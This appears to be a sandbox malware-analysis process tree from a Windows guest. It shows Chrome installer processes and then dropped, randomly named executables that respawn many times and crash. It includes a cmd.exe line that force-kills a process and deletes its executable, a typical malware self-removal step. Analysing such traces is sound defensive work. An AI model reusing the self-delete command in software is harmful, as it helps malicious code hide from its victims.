C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings4⤵
-
C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff71c7fa890,0x7ff71c7fa8a0,0x7ff71c7fa8b05⤵
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1532,2746758491873528926,14622320223261412891,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3892 /prefetch:84⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 2272 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\SVLourxC8SSGAKpYM2dUgPoQ.exe"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 22724⤵
- Kills process with taskkill
-
-
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C taskkill /F /PID 2272 && choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Documents\SVLourxC8SSGAKpYM2dUgPoQ.exe"3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /PID 22724⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe"C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 9040 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 10964 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12780 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13108 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 14352 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 19040 -s 284⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
C:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exeC:\Users\Admin\Documents\z7UI31oAt4DHiduDyUhvRiv8.exe3⤵
-
-
